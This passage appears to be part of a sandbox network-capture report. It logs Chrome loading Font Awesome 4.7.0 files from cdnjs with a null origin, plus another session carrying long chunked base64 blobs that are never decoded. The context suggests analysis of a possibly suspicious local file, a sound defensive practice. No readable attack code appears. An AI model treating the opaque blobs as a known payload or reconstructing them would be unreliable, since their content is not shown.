2023-11-28 15:55:26 UTC	513	IN	Data Raw: 33 52 54 5a 79 4d 58 46 68 54 53 39 79 59 55 64 44 56 57 6f 78 64 33 4a 4d 4e 58 4e 6f 52 55 6f 32 64 46 68 52 4d 57 78 58 5a 6d 31 6e 63 43 39 5a 5a 6e 56 57 63 45 4a 70 52 56 46 6b 63 6a 49 78 4f 57 4a 48 62 55 74 43 63 47 78 55 4f 44 4a 4c 53 7a 4e 4c 62 32 78 44 54 69 39 6f 4e 48 49 76 4f 57 70 52 51 6d 74 46 63 58 4e 76 61 30 34 34 64 6d 5a 4f 52 30 78 79 53 57 55 78 51 33 6f 31 61 32 35 52 63 33 64 36 62 31 6c 4a 55 54 5a 4f 57 46 67 7a 4e 48 51 33 53 31 52 52 56 32 31 49 53 6d 68 42 51 6e 4e 61 55 46 56 78 57 6a 56 49 4e 55 51 32 55 47 39 36 62 46 70 50 4e 31 6c 78 59 57 39 6c 52 6e 55 33 64 45 35 53 4e 32 4a 50 65 47 78 53 56 47 56 4b 52 32 68 6f 57 6c 64 7a 59 57 74 6f 54 45 45 7a 52 6b 5a 74 62 46 70 34 61 48 56 49 53 7a 4e 6d 61 58 52 50 55 55 Data Ascii: 3RTZyMXFhTS9yYUdDVWoxd3JMNXNoRUo2dFhRMWxXZm1ncC9ZZnVWcEJpRVFkcjIxOWJHbUtCcGxUODJLSzNLb2xDTi9oNHIvOWpRQmtFcXNva044dmZOR0xySWUxQ3o1a25Rc3d6b1lJUTZOWFgzNHQ3S1RRV21ISmhBQnNaUFVxWjVINUQ2UG96bFpPN1lxYW9lRnU3dE5SN2JPeGxSVGVKR2hoWldzYWtoTEEzRkZtbFp4aHVISzNmaXRPUU
2023-11-28 15:55:26 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-28 15:55:26 UTC	8192	IN	Data Raw: 32 30 30 30 0d 0a 62 46 4d 76 4e 44 4a 59 51 6e 51 33 65 6a 6c 77 51 32 5a 55 61 69 74 31 55 30 5a 58 63 53 38 77 64 55 6c 78 62 33 5a 54 65 6d 45 32 4e 32 56 56 51 56 4a 32 4e 44 6c 68 4e 32 74 33 54 6e 67 34 61 30 70 75 53 44 5a 4e 61 6d 73 35 51 7a 52 4c 62 6c 5a 50 63 58 6c 35 56 55 4a 7a 62 44 4e 4a 5a 47 70 73 54 44 64 54 63 44 55 35 55 31 56 73 52 47 74 4b 61 6c 49 31 5a 46 68 58 5a 31 55 76 4d 6e 68 5a 64 56 56 42 4d 31 6c 53 65 6a 42 4f 57 69 39 42 55 6b 6b 35 4d 6b 5a 53 64 44 4e 6a 54 30 35 70 56 31 6c 7a 4d 56 45 77 56 6e 46 72 52 79 39 74 55 56 52 70 4b 32 5a 6f 5a 6d 64 4a 4f 48 64 32 52 54 64 36 63 48 5a 71 5a 6d 70 35 4f 47 4a 72 54 57 39 6f 56 55 55 72 61 58 52 4f 59 79 74 69 51 31 68 57 4b 30 46 50 59 6b 6c 6c 52 45 64 43 56 32 55 35 62 Data Ascii: 2000bFMvNDJYQnQ3ejlwQ2ZUait1U0ZXcS8wdUlxb3ZTemE2N2VVQVJ2NDlhN2t3Tng4a0puSDZNams5QzRLblZPcXl5VUJzbDNJZGpsTDdTcDU5U1VsRGtKalI1ZFhXZ1UvMnhZdVVBM1lSejBOWi9BUkk5MkZSdDNjT05pV1lzMVEwVnFrRy9tUVRpK2ZoZmdJOHd2RTd6cHZqZmp5OGJrTW9oVUUraXROYytiQ1hWK0FPYkllREdCV2U5b
2023-11-28 15:55:26 UTC	6	IN	Data Raw: 56 70 55 56 5a 72 Data Ascii: VpUVZr
2023-11-28 15:55:26 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-28 15:55:26 UTC	8192	IN	Data Raw: 32 30 30 30 0d 0a 4d 32 39 4f 52 48 6c 6b 56 31 4e 4e 56 7a 46 57 57 45 4e 4b 65 45 46 73 53 46 42 46 61 56 5a 54 64 6e 46 55 56 31 42 76 4e 6b 4e 6d 4e 30 6c 51 56 57 6b 76 5a 44 6c 4f 4d 33 55 76 5a 6a 52 45 61 33 46 57 4e 6b 74 53 4e 33 68 4a 54 32 31 58 5a 69 39 49 4f 47 4a 6e 4f 47 4a 4f 63 45 31 42 53 46 42 73 62 31 52 73 62 57 34 76 59 32 39 69 54 57 52 30 52 56 4a 57 55 55 46 78 64 47 51 35 59 58 6c 5a 63 48 6c 69 51 6c 59 33 51 55 6c 48 4f 46 52 75 53 6a 68 4b 61 6a 4e 70 63 47 4e 59 53 33 6c 42 5a 30 52 43 62 56 68 74 57 56 6c 59 5a 55 4a 4b 62 56 67 72 56 32 35 55 4d 6d 45 77 4f 47 35 56 4e 46 67 31 64 7a 5a 51 54 47 70 46 61 45 34 77 59 33 51 72 53 47 64 75 64 31 70 7a 62 44 56 72 4d 6c 5a 32 4c 31 59 34 4e 57 46 6e 59 54 56 45 57 6b 5a 4d 53 Data Ascii: 2000M29ORHlkV1NNVzFWWENKeEFsSFBFaVZTdnFUV1BvNkNmN0lQVWkvZDlOM3UvZjREa3FWNktSN3hJT21XZi9IOGJnOGJOcE1BSFBsb1RsbW4vY29iTWR0RVJWUUFxdGQ5YXlZcHliQlY3QUlHOFRuSjhKajNpcGNYS3lBZ0RCbVhtWVlYZUJKbVgrV25UMmEwOG5VNFg1dzZQTGpFaE4wY3QrSGdud1pzbDVrMlZ2L1Y4NWFnYTVEWkZMS
2023-11-28 15:55:26 UTC	6	IN	Data Raw: 51 79 4c 33 4e 68 Data Ascii: QyL3Nh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49718	104.17.24.14	443	3524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-28 15:55:25 UTC	654	OUT	GET /ajax/libs/font-awesome/4.7.0/fonts/fontawesome-webfont.woff2?v=4.7.0 HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: null sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2023-11-28 15:55:25 UTC	985	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 54 75 65 2c 20 32 38 20 4e 6f 76 20 32 30 32 33 20 31 35 3a 35 35 3a 32 35 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 37 37 31 36 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 30 36 37 32 30 30 30 0d 0a 45 54 61 67 3a 20 22 35 65 62 30 33 65 35 66 2d 31 32 64 36 38 22 0d 0a 4c 61 73 74 2d 4d 6f Data Ascii: HTTP/1.1 200 OKDate: Tue, 28 Nov 2023 15:55:25 GMTContent-Type: application/octet-stream; charset=utf-8Content-Length: 77160Connection: closeAccess-Control-Allow-Origin: *Cache-Control: public, max-age=30672000ETag: "5eb03e5f-12d68"Last-Mo
2023-11-28 15:55:25 UTC	384	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 01 2d 68 00 0d 00 00 00 02 86 98 00 01 2d 0e 00 04 01 cb 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3f 46 46 54 4d 1c 1a 20 06 60 00 85 72 11 08 0a 89 99 28 87 b6 58 01 36 02 24 03 95 70 0b 96 10 00 04 20 05 89 06 07 b4 75 5b 52 09 72 47 61 f7 91 84 2a ba 0d 81 27 ed 3d eb 3a b5 1a 26 d3 cd 3d 72 b7 2a 0a 02 19 e5 1a f1 f6 5d 04 74 07 dc 45 aa 6e a3 b2 ff ff ff ff e4 a4 31 46 db 0e dc 40 e0 d5 f4 fb 7c ad 8a 14 08 66 93 6d 92 60 9b 24 d8 91 a1 40 64 5b 42 51 11 24 28 5b 55 3c 2b 28 ad b8 40 50 d0 35 1e e4 60 81 b0 0e da 3e f6 50 10 1a 3b e1 28 91 d1 31 b3 fd 6c db fe 68 d4 a8 a2 c2 29 9f dc 59 79 94 f2 4a 69 e9 eb 17 ad 85 ce 7c 25 db 81 b7 5e ac 14 47 82 a2 33 b8 12 6e 9e 95 e8 ba da 95 dc 0a c4 cd 90 44 8a 9e Data Ascii: wOF2-h-?FFTM `r(X6$p u[RrGa'=:&=r]tEn1F@\|fm`$@d[BQ$([U<+(@P5`>P;(1lh)YyJi\|%^G3nD
2023-11-28 15:55:25 UTC	1369	IN	Data Raw: 26 67 62 de f0 e1 76 ed 87 f3 01 0e c9 27 8a 0f 36 a3 3a b0 bb c3 f3 73 eb 6d a3 62 8c 31 d8 a8 6d 30 22 c7 82 1a b0 bf 2a 56 8c a8 8d 1e a3 63 a3 24 2c 30 41 54 50 54 b4 31 12 03 fb f4 ac 3c 0b ed 3b ed f3 d2 60 10 e6 b6 27 f1 48 0e 3f f1 73 ce a9 3a 91 0f 4e 44 9f a8 fc a9 10 49 11 a4 24 8c 04 54 14 8b 5b 81 82 62 34 8a 11 cd fc 7f ea ec ef 2c af ce bc d7 ef bd a3 62 6c 36 91 ba 0b 49 4c e9 69 7d db 8c 26 e0 34 e3 94 6d 2c 27 cb 16 cb f3 23 bd d7 a5 b3 7f 52 77 01 a2 62 75 c0 b6 2c 4b 96 0b c6 06 9b e2 76 8b 03 db 08 6d 5f 2d c0 c0 e6 5c 48 8b 9d fb 8e 48 48 fe aa f3 93 ea 07 c6 c2 3f 98 96 d3 6d f3 0b 39 50 88 ad d8 29 39 e7 4a a8 86 24 c6 bd 88 9c e7 b1 f4 38 f8 e8 c7 da ce ce 7e b9 3b c4 72 15 8d 6e bf 3d 24 11 1a b5 1f 94 4e 64 64 6e 1b 21 27 ae a6 Data Ascii: &gbv'6:smb1m0"*Vc$,0ATPT1<;`'H?s:NDI$T[b4,bl6ILi}&4m,'#Rwbu,Kvm_-\HHH?m9P)9J$8~;rn=$Nddn!'
2023-11-28 15:55:25 UTC	1369	IN	Data Raw: 62 38 05 51 f4 09 13 64 e1 18 5b 4c 14 28 65 6c 1c 2b 32 75 2d ee d0 61 d6 98 64 a2 8e 35 3b a2 4e 24 d4 f6 22 a2 48 aa 8f 10 ab 53 46 ba 6f eb 32 69 a8 22 8a d9 5c b3 68 04 37 49 8c f6 a0 3c 53 43 4f 02 ad 19 b8 96 c8 90 48 a0 1e e2 45 77 21 01 2e 1f d7 e9 fd 21 42 53 12 43 aa 67 1e c4 9d 89 63 e3 0e b9 e4 73 2a d5 a7 73 89 28 35 6d 94 3d 71 c6 ca 8a 65 a2 fb f1 59 91 0b 24 eb 5c 3e 10 66 4e 38 80 71 97 8c 78 ea 23 76 0a a5 36 75 6d ef 09 e0 19 9d b0 60 db 4e 4d 2d 4a 00 5c f4 10 46 b7 c7 72 e9 44 02 80 1e b5 5a d3 30 93 07 23 27 ea a5 88 6e ec 11 d2 47 6a 4c 82 da 86 58 14 1b ca 8c a2 41 aa 9d f1 67 59 73 99 2a b2 59 ca dc 07 c7 5e d9 b5 98 3b 22 d8 1d 24 68 62 7f 3d b9 16 19 cf 9b 13 98 30 de 76 48 3c 97 56 76 7f 81 63 9b 5f 00 5c 59 8a 03 ec a3 e8 77 Data Ascii: b8Qd[L(el+2u-ad5;N$"HSFo2i"\h7I<SCOHEw!.!BSCgcss(5m=qeY$\>fN8qx#v6um`NM-J\FrDZ0#'nGjLXAgYsY^;"$hb=0vH<Vvc_\Yw
2023-11-28 15:55:25 UTC	1369	IN	Data Raw: 6c c1 22 ba 97 5e 33 52 3e 72 fd 2a fb bb 04 43 3e c0 1e 1e 83 a7 e1 17 78 50 55 ba 7a 1e ad 7d 59 11 3d 02 0f f5 cc 95 16 bc 7d f5 d0 b6 c7 10 9a 19 0a e7 0d 1c 36 2d 60 2f 22 48 0b 0a 6f 85 26 92 44 97 49 30 ff 45 32 58 61 89 95 2d 1f a9 7b 0e 35 c0 81 99 3c 0d 2c 7d 94 d1 13 60 60 36 fa c7 ed 18 90 6a 69 a2 e9 d8 69 6d 3c 55 75 6a 59 a9 5a fa 6a 0e 42 5c 40 8c 67 cb 33 45 6a 66 70 96 f8 98 9f 3a ba da ed ea 10 57 db c7 ae 9f ba d9 df b3 8e 9c 94 ce 70 a5 c4 b3 33 61 6f af fb 11 81 31 88 64 61 8b f8 20 9c 03 b7 dd ab a5 fd 88 99 4a 82 d7 b2 3f 20 6a ce 71 37 ae be 4d c3 e6 ce 66 66 99 59 b5 66 cb 1c d4 73 02 1e b0 1b 24 9b 9c 09 84 95 48 fd 91 14 e6 ac 6c a5 96 f5 b9 bf c0 88 97 28 25 2e 9b 72 06 e3 d2 77 3f 03 f2 be 6d 3d 7e 0b 82 79 b2 63 59 91 62 67 Data Ascii: l"^3R>r*C>xPUz}Y=}6-`/"Ho&DI0E2Xa-{5<,}``6jiim<UujYZjB\@g3Ejfp:Wp3ao1da J? jq7MffYfs$Hl(%.rw?m=~ycYbg
2023-11-28 15:55:25 UTC	1369	IN	Data Raw: af 90 70 ad 97 45 28 bf d7 eb f2 52 53 92 a4 51 ba 98 74 9e ee 03 36 2c a0 51 e3 6a 5c 08 f0 e3 3c 08 2f 5d 4e ae 73 fb cd 1d a5 3b cd 27 0c 18 48 58 5d 8e 45 98 32 1e 39 90 87 64 a6 6b 59 fd 0d d9 6a 90 8e c2 52 36 d1 d4 ed f7 03 51 12 21 98 ca 00 ea ee f7 20 56 86 bb 99 0a 25 22 08 15 5e d0 60 97 4e 33 4f f2 8c a2 0f fa 86 83 ac 5b f1 1d 76 3a e0 ca 84 3a d9 e8 5e da 9c 72 d7 bf e7 11 40 ea d2 ec 0a 8d 46 c5 5f ae d7 11 e5 01 08 4e 63 cc 42 d2 17 f1 fd c3 38 70 a3 5c 69 af a2 b5 d7 37 cf ee 8b 67 e5 ad 03 2a ee 8f d1 cd fd 2c 83 43 ab 9d 1a c2 0e e1 5b 87 36 b4 54 92 3f ba ba b5 16 85 25 f2 7a fb c5 40 01 06 18 6a 41 70 42 4e 35 f0 9e 22 34 54 9e a5 e0 f4 22 96 7d 30 75 4a f4 87 8f 9e 96 c8 9c 7e 33 f6 1e d9 0e d1 7b 7d 02 75 57 f6 8c e0 ee 4d 93 1e 6a Data Ascii: pE(RSQt6,Qj\</]Ns;'HX]E29dkYjR6Q! V%"^`N3O[v::^r@F_NcB8p\i7g*,C[6T?%z@jApBN5"4T"}0uJ~3{}uWMj
2023-11-28 15:55:25 UTC	1369	IN	Data Raw: b0 3c 49 13 45 b5 31 f0 60 24 60 4c 62 72 c7 92 84 81 d7 9d ea ce 5d 11 e5 78 e2 1d 39 3d 52 19 76 26 2a 51 35 e8 80 04 30 7a 7f 1e f3 cb f8 79 3c 88 e0 01 ea 83 60 4d 7c f6 d4 99 9a 64 4f 86 d9 a5 69 5a ae e3 19 c5 24 ae ee 19 bb 2b 23 1e 4b 48 c8 46 0a 8d c3 e9 c4 ea ed be 83 00 a7 8e 09 ee c8 18 f8 89 1f a7 8f 29 2d 09 be 06 3a 4d 24 cb 79 63 a0 ae 45 c0 25 41 69 95 92 05 32 5d 96 98 08 cc 6c e5 b6 a8 90 89 1c 9a 19 cd 38 86 49 1a bc 79 b2 d2 05 5a 17 47 4a b3 83 1a a2 06 ae 5c d5 1e 32 1a d6 99 58 62 18 bf 4c be f6 f0 9f 49 c2 41 2d fd 47 72 52 00 21 cd 30 a0 13 a0 db 4c 2b c0 51 68 aa 53 f3 59 d4 d2 13 d7 f2 53 bf 35 fd 5f 1e d8 28 a5 06 0e 70 6f 46 9a a7 54 89 87 11 af 23 6b 1c 4e db be ea 6c 7c 72 87 6e 06 b3 64 d7 48 a0 07 1e 96 dc 79 13 db 8a e6 Data Ascii: <IE1`$`Lbr]x9=Rv&*Q50zy<`M\|dOiZ$+#KHF)-:M$ycE%Ai2]l8IyZGJ\2XbLIA-GrR!0L+QhSYS5_(poFT#kNl\|rndHy
2023-11-28 15:55:25 UTC	1369	IN	Data Raw: 1c 56 4a 66 1e c1 66 88 c5 39 c7 29 00 af 61 99 39 50 89 ab 26 e0 f8 d1 c5 36 4f 6f be d6 03 17 6c a9 3c 9d d4 f3 e2 02 19 f2 19 ef 64 73 3d 23 01 33 c5 73 16 8f b5 50 2d d0 62 44 a0 d4 fc 22 8d 0f ec 5b 3a b0 77 c9 ba 5e 6a f9 89 d3 81 bb d0 51 65 6a 60 8c 8b 97 54 71 92 05 3d a2 fa b1 94 48 26 a3 6f 8f 1b a1 1b 6b c4 89 4c 44 de 57 a1 4f fb 86 c2 f9 94 eb ca 2a 4a 33 73 5b 19 ce 36 9d 6a 31 f0 40 d9 d8 6e 72 3c ae ce be db 87 86 23 89 cd d2 40 09 88 30 bf 9b 63 06 09 a2 9d 1f 05 99 3f ef b5 9d 3c 32 8a 44 d5 d3 a6 09 bf e8 7d af b0 54 73 cd d9 53 ce fd d0 22 e2 0b 52 cd 0a ae 95 a4 2e 7d df 6f 5a de cd 18 e3 87 f9 46 6f 2a 98 95 a7 dd 97 87 b6 ff b7 96 b5 3a dd f4 d6 1b c1 93 bc c1 37 c9 ed f7 48 c2 f2 e4 8d 9a 0e a5 78 a1 b4 5d c5 db c7 61 19 36 1e 76 Data Ascii: VJff9)a9P&6Ool<ds=#3sP-bD"[:w^jQej`Tq=H&okLDWOJ3s[6j1@nr<#@0c?<2D}TsS"R.}oZFo:7Hx]a6v
2023-11-28 15:55:25 UTC	1369	IN	Data Raw: 88 a5 6a f8 92 17 17 39 97 05 15 e2 31 80 2d 82 59 99 97 50 c7 4e c2 bf 00 8a 5c 26 b9 79 4c 38 af d3 b9 cd f7 89 26 30 cb 63 92 c1 76 08 14 f0 c6 89 5c 8e c0 8a a1 f2 4a b5 41 ca cd 3b a4 f2 51 3b 1c 95 5d 85 89 fd 49 b4 4d 38 09 d9 73 af 02 aa d8 14 4d 66 f4 3f d4 b0 07 1c a1 49 12 18 9a b2 72 1b bb 72 21 d2 4b 86 39 d1 8f 38 70 d9 7d 51 bf ec bd 8d 8b e7 67 fb 2d 84 2a 0f 73 6d b5 7e c5 58 06 d7 50 1a 30 64 f8 4d 5e 08 b5 f0 3f 44 c5 18 64 49 82 6d 3c 86 a8 70 3b a1 7f 06 79 8e 06 2c 22 db a6 a6 36 ad e4 76 ca 70 07 54 5c 5e ca 6e f4 db f7 be 7f 05 33 6d a4 3e 38 a4 65 43 ae f1 dc 4e 7d 10 ad cd ea ed 63 c3 a0 e6 d9 ad 24 73 37 db bc 13 fa 9c 23 d5 b5 3c 53 46 2d 41 ba a7 a0 14 e4 86 f9 7a ac d2 e2 89 b1 13 cf 0a 80 42 81 09 2a 7b b8 06 36 63 67 1d 89 Data Ascii: j91-YPN\&yL8&0cv\JA;Q;]IM8sMf?Irr!K98p}Qg-sm~XP0dM^?DdIm<p;y,"6vpT\^n3m>8eCN}c$s7#<SF-AzB{6cg
2023-11-28 15:55:25 UTC	1369	IN	Data Raw: 8e 7f d1 3b 2b 69 25 8b 08 1a 4e 7d 87 51 bc 9c 30 bf e5 fe d4 a5 ed 55 bf c9 75 29 4d b6 dd 5b c6 5a 60 22 9f 37 0d b9 e2 1a 0e 3f 2f 5b 43 e4 7b cc 6c f1 82 29 f2 24 18 4d 72 89 f5 c0 9a 7c 5e ba 04 91 09 61 99 bb e2 b7 10 03 fe a7 3a 88 a0 cd 22 e9 d6 8a 9d db 61 09 c2 6c 02 f2 3e 1b de 68 00 c7 e1 79 a2 7f 80 14 61 d1 ce 7b 9e 32 3e af fe 43 50 ae 89 90 b0 4c c5 0f 10 20 9a 6a 3f d1 6e 08 74 67 e5 9e d8 d3 5d 03 a6 16 e1 53 88 b8 f8 f8 7b e1 b5 55 d3 87 05 91 28 27 b3 b5 62 e7 a3 27 66 8f e6 67 30 d3 83 dd ea 18 95 c4 4c 50 41 a5 4d 74 64 15 07 cc 29 e3 b3 32 c3 ba e3 59 21 d6 76 00 8e 26 60 6f 85 af fe 32 12 50 5b 0b 1b 9d 61 de 94 84 bb 35 fb c0 0c 53 87 7c 23 2b 80 b2 01 37 4a 05 a4 8a 0a 23 1b c8 b8 cc 5f ab d5 64 55 a9 a4 36 23 56 19 44 ae 86 c0 Data Ascii: ;+i%N}Q0Uu)M[Z`"7?/[C{l)$Mr\|^a:"al>hya{2>CPL j?ntg]S{U('b'fg0LPAMtd)2Y!v&`o2P[a5S\|#+7J#_dU6#VD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49722	104.17.24.14	443	3524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-28 15:55:27 UTC	558	OUT	GET /ajax/libs/font-awesome/4.7.0/css/font-awesome.css HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: null sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2023-11-28 15:55:28 UTC	945	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 54 75 65 2c 20 32 38 20 4e 6f 76 20 32 30 32 33 20 31 35 3a 35 35 3a 32 37 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 63 73 73 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 30 36 37 32 30 30 30 0d 0a 45 54 61 67 3a 20 57 2f 22 35 65 62 30 33 65 35 66 2d 39 32 32 36 22 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 4d 6f Data Ascii: HTTP/1.1 200 OKDate: Tue, 28 Nov 2023 15:55:27 GMTContent-Type: text/css; charset=utf-8Transfer-Encoding: chunkedConnection: closeAccess-Control-Allow-Origin: *Cache-Control: public, max-age=30672000ETag: W/"5eb03e5f-9226"Last-Modified: Mo
2023-11-28 15:55:28 UTC	424	IN	Data Raw: 37 62 66 65 0d 0a 2f 2a 21 0a 20 2a 20 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 34 2e 37 2e 30 20 62 79 20 40 64 61 76 65 67 61 6e 64 79 20 2d 20 68 74 74 70 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 69 6f 20 2d 20 40 66 6f 6e 74 61 77 65 73 6f 6d 65 0a 20 2a 20 20 4c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 69 6f 2f 6c 69 63 65 6e 73 65 20 28 46 6f 6e 74 3a 20 53 49 4c 20 4f 46 4c 20 31 2e 31 2c 20 43 53 53 3a 20 4d 49 54 20 4c 69 63 65 6e 73 65 29 0a 20 2a 2f 0a 2f 2a 20 46 4f 4e 54 20 50 41 54 48 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 46 6f 6e 74 41 77 65 73 Data Ascii: 7bfe/! Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License) // FONT PATH * -------------------------- */@font-face { font-family: 'FontAwes
2023-11-28 15:55:28 UTC	1369	IN	Data Raw: 6e 74 61 77 65 73 6f 6d 65 2d 77 65 62 66 6f 6e 74 2e 77 6f 66 66 32 3f 76 3d 34 2e 37 2e 30 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 2c 20 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 77 65 62 66 6f 6e 74 2e 77 6f 66 66 3f 76 3d 34 2e 37 2e 30 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 27 29 2c 20 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 77 65 62 66 6f 6e 74 2e 74 74 66 3f 76 3d 34 2e 37 2e 30 27 29 20 66 6f 72 6d 61 74 28 27 74 72 75 65 74 79 70 65 27 29 2c 20 75 72 6c 28 27 2e 2e 2f 66 6f 6e 74 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 77 65 62 66 6f 6e 74 2e 73 76 67 3f 76 3d 34 2e 37 2e 30 23 66 6f 6e 74 61 77 65 73 6f 6d 65 72 65 67 75 6c 61 72 27 29 20 66 6f 72 6d Data Ascii: ntawesome-webfont.woff2?v=4.7.0') format('woff2'), url('../fonts/fontawesome-webfont.woff?v=4.7.0') format('woff'), url('../fonts/fontawesome-webfont.ttf?v=4.7.0') format('truetype'), url('../fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular') form
2023-11-28 15:55:28 UTC	1369	IN	Data Raw: 65 6d 3b 0a 7d 0a 2f 2a 20 44 65 70 72 65 63 61 74 65 64 20 61 73 20 6f 66 20 34 2e 34 2e 30 20 2a 2f 0a 2e 70 75 6c 6c 2d 72 69 67 68 74 20 7b 0a 20 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 0a 7d 0a 2e 70 75 6c 6c 2d 6c 65 66 74 20 7b 0a 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 7d 0a 2e 66 61 2e 70 75 6c 6c 2d 6c 65 66 74 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 2e 33 65 6d 3b 0a 7d 0a 2e 66 61 2e 70 75 6c 6c 2d 72 69 67 68 74 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2e 33 65 6d 3b 0a 7d 0a 2e 66 61 2d 73 70 69 6e 20 7b 0a 20 20 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 3a 20 66 61 2d 73 70 69 6e 20 32 73 20 69 6e 66 69 6e 69 74 65 20 6c 69 6e 65 61 72 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 66 61 2d 73 70 Data Ascii: em;}/* Deprecated as of 4.4.0 */.pull-right { float: right;}.pull-left { float: left;}.fa.pull-left { margin-right: .3em;}.fa.pull-right { margin-left: .3em;}.fa-spin { -webkit-animation: fa-spin 2s infinite linear; animation: fa-sp
2023-11-28 15:55:28 UTC	1369	IN	Data Raw: 20 22 70 72 6f 67 69 64 3a 44 58 49 6d 61 67 65 54 72 61 6e 73 66 6f 72 6d 2e 4d 69 63 72 6f 73 6f 66 74 2e 42 61 73 69 63 49 6d 61 67 65 28 72 6f 74 61 74 69 6f 6e 3d 30 2c 20 6d 69 72 72 6f 72 3d 31 29 22 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 2d 31 2c 20 31 29 3b 0a 20 20 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 2d 31 2c 20 31 29 3b 0a 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 2d 31 2c 20 31 29 3b 0a 7d 0a 2e 66 61 2d 66 6c 69 70 2d 76 65 72 74 69 63 61 6c 20 7b 0a 20 20 2d 6d 73 2d 66 69 6c 74 65 72 3a 20 22 70 72 6f 67 69 64 3a 44 58 49 6d 61 67 65 54 72 61 6e 73 66 6f 72 6d 2e 4d 69 63 72 6f 73 6f 66 74 2e 42 61 73 69 63 49 6d 61 67 65 28 72 6f 74 61 74 69 6f 6e 3d Data Ascii: "progid:DXImageTransform.Microsoft.BasicImage(rotation=0, 